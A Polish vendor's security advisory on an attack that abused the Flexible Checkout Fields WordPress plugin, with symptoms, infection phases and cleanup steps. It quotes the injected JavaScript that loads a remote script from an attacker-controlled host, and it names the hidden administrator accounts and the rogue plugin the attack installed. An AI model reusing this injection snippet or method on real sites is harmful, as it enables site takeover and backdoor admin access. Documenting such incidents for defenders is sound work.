Dzisiaj pojawiło się naruszenie bezpieczeństwa w darmowej wersji wtyczki Flexible Checkout Fields. Szybko namierzyliśmy źródło tej sytuacji i opracowaliśmy poprawkę w wersji 2.3.4. W tym artykule znajdziesz dokładną instrukcję jak postępować w przypadku zarażenia i jak sprawdzić czy Twój sklep jest bezpieczny.
W dniu dzisiejszym otrzymaliśmy zgłoszenia od naszych klientów odnośnie sytuacji prowadzących do naruszenia bezpieczeństwa stron internetowych z pośrednim wykorzystaniem naszej wtyczki Flexible Checkout Fields dostępnej w repozytorium WordPressa. Z informacji, które udało nam się ustalić wynika, że najprawdopodobniej z jej udziałem była instalowana w tle osobna wtyczka tworząca dodatkowe konta z uprawnieniami administratorskimi.
Z pomocą społeczności WordPress bardzo szybko namierzyliśmy źródło problemu i w ciągu niecałej godziny opracowaliśmy stosowną poprawkę. Sytuacja została w pełni opanowana, jest pod kontrolą i wtyczka Flexible Checkout Fields nie stanowi już zagrożenia. Opublikowana przez nas wraz z wersją 2.3.4 wtyczki poprawka, zapobiega i uniemożliwia ponowne wykorzystania wcześniej wspomnianej metody do utworzenia kont administratorskich.
Objawy zainfekowania strony:
- pojawienie się nowych kont z uprawnieniami administratora,
- pojawienie się nowych wtyczek w panelu WordPress,
- w katalogu wp-content/uploads zostały umieszczone podejrzane pliki z rozszerzeniem .php lub .zip np: Woo-Add-To-Carts.zip,
- zmiana kolejności pól na stronie zamówienia, ich nieprawidłowe działanie lub pojawienie się nowych pól, które nie były wcześniej dodane.
Zaktualizuj wtyczkę Flexible Checkout Fields do wersji 2.3.4 lub wyższej i sprawdź poniższą instrukcję, aby upewnić się, że sklep nie został zainfekowany.
Aktualizacja 3
Po audycie WPmagus zastosowaliśmy się do uwag Krzysztofa Dróżdża i wprowadziliśmy dodatkowe zabezpieczenia we wtyczce. Wszelkie zmiany zostały uwzględnione w wersji 2.4.12 wtyczki Flexible Checkout Fields oraz wersji 2.0.10 wtyczki Flexible Checkout Fields PRO. Było to głównie dostosowanie wtyczki do nowych wytycznych, tak aby jak najlepiej ją zabezpieczyć.
Aktualizacja 2
Opublikowaliśmy wtyczkę w wersji 2.3.4, która zabezpiecza przed dalszą infekcją jeśli znajduje się ona w fazie 1 (poniżej znajdziesz opis działania infekcji).
- Zaktualizuj wtyczkę, zanim podejmiesz kolejne działania!
- Po aktualizacji Flexible Checkout Fields do wersji 2.3.4 przejdź do ustawień wtyczki i sprawdź, czy pojawiły się jakieś nowe pola – jeśli tak, to usuń je.
- Sprawdź opis poniżej czy sklep nie jest w fazie 2 infekcji: zostały utworzone dodatkowe konta admina i jest zainstalowana wtyczka Woo-Add-To-Carts.
Aktualizacja 1
Ustaliliśmy dokładnie jak przebiega infekcja. Pozwoli nam to przygotować aktualizację wtyczki, która powstrzyma atak nawet jeśli doszedł do fazy pierwszej.
Co się dzieje podczas infekcji:
Pierwsza faza
Za pomocą podatności, dodawane są dwa pola w dwóch różnych sekcjach wtyczki.
Pola te na dwa różne sposoby starają się dodać skrypt:
var script_tag = document.createElement(‘script’);
script_tag.setAttribute(‘src’,’https://umbriawalking.com/counter/pixel.js’);
document.head.appendChild(script_tag);”
Który umożliwia hackerowi przejście do fazy drugiej infekcji.
Druga faza
Żeby atak mógł zakończyć się sukcesem, administrator strony musi wejść na stronę ustawień wtyczki lub na stronę checkoutu.
Wtedy:
- Tworzone są następujące konta z uprawnieniami administratora:
wptest_dev1: [email protected]
wptest_dev2: [email protected]
woo_developdevacc: [email protected]
developer_test_user: [email protected]
- Pobierana jest paczka z kodem Woo-Add-To-Carts.zip która trafia do katalogu /wp-content/uploads/2020/02 a następnie jest instalowana za pomocą mechanizmów WordPress co kończy się jej instalacją w katalogu wp-content/plugins/Woo-Add-To-Carts/Woo-Add-To-Carts.php. Wtyczka jest widoczna na liście wtyczek jako Woo-Add-To-Carts.
Jeżeli na swojej stronie zauważysz objawy pasujące do powyższego opisu, najprawdopodobniej padła ona ofiarą ataku – postępuj według poniższych instrukcji:
Sposób postępowania jeśli Twój WordPress padł ofiarą ataku
Usunięcie źródła infekcji
- Zaktualizuj wtyczkę Flexible Checkout Fields do najnowszej wersji, co najmniej 2.3.4.
- Usuń konta z uprawnieniami administratora:
wptest_dev1: [email protected]
wptest_dev2: [email protected]
woo_developdevacc: [email protected]
developer_test_user: [email protected]
- Sprawdź czy nie pojawiły się żadne inne nieznane konta administratora.
- Usuń paczkę z kodem Woo-Add-To-Carts.zip z katalogu /wp-content/uploads/2020/02.
- Sprawdź, czy w katalogu /wp-content/uploads/ nie pojawiły się nieznane pliki
- Usuń katalog wtyczki z /wp-content/plugins/Woo-Add-To-Carts/ lub z listy wtyczek.
- Sprawdź, czy na liście zainstalowanych wtyczek nie znajdują się wtyczki, których nie instalowałeś.
- Sprawdź, czy pojawiły się dodatkowe pola w ustawieniach wtyczki Flexible Checkout Fields i usuń je. Sprawdź również pozostałe pola czy nie pojawiły się zmiany lub po prostu zresetuj ustawienia każdej sekcji (instrukcję znajdziesz poniżej).
- Jeśli konta administratora są wciąż dodawane, zresetuj ustawienia pól Flexible Checkout Fields we wszystkich sekcjach.
- Jeśli wciąż pojawiają się na Twojej stronie przekierowania (po wejściu na stronę główną lub stronę zamówienia), sprawdź plik header.php motywu, z którego obecnie korzystasz (/wp-content/themes/name-of-your-theme/header.php). Sprawdź czy znajduje się tam podejrzany kod. Po jego znalezieniu, usuń kod, zapisz zmiany i wyślij zmodyfikowany plik przez FTP.
Zazwyczaj podejrzany kod znajduje się zaraz na początku pliku header.php i wygląda tak lub podobnie:
Powyższe kroki są wystarczające, aby usunąć źródło infekcji, ale nie gwarantują bezpieczeństwa sklepu. Jeśli masz możliwość podejmij kolejne kroki lub poinformuj o tym administratora twojego sklepu.
Jeśli posiadasz kopię zapasową (backup) swojej strony:
- Przywróć wszystkie pliki strony z backupu sprzed momentu wystąpienia problemu, upewniając się, że wszystkie potencjalnie zainfekowane pliki zostały usunięte.
- Przywróć bazę danych z backupu.
Uwaga! Pamiętaj, że przywracając bazę danych utracisz część danych od momentu utworzenia kopii zapasowej.
Jeśli nie wiesz, czy we wtyczce pojawiły się dodatkowe pola:
- Zresetuj ustawienia wtyczki Flexible Checkout Fields. W tym celu przejdź do ustawień wtyczki w menu WooCommerce/Pola zamówienia. Możesz też przejść do tej sekcji za pomocą linku wp-admin/admin.php?page=inspire_checkout_fields_settings
- Dla sekcji Płatność (po), do której można się dostać również za pomocą linku wp-admin/admin.php?page=inspire_checkout_fields_settings&tab=fields_billing kliknij przycisk Resetuj ustawienia sekcji.
- Dla sekcji Wysyłka, do której można się dostać również za pomocą linku wp-admin/admin.php?page=inspire_checkout_fields_settings&tab=fields_shipping kliknij przycisk Resetuj ustawienia sekcji.
- Dla sekcji Zamówienie, do której można się dostać również za pomocą linku wp-admin/admin.php?page=inspire_checkout_fields_settings&tab=fields_order kliknij przycisk Resetuj ustawienia sekcji.
Jeśli wykonałeś/-aś wszystkie kroki zawarte w powyższej instrukcji postępowania i mimo to na Twojej stronie nadal występują problemy, prześlij zgłoszenie bezpośrednio na adres: [email protected] zawierające jak najwięcej dokładnych informacji, w tym m.in.:
Opis sytuacji – co dokładnie się wydarzyło na stronie.
Listę zainstalowanych wtyczek i ich wersje (status systemu WooCommerce)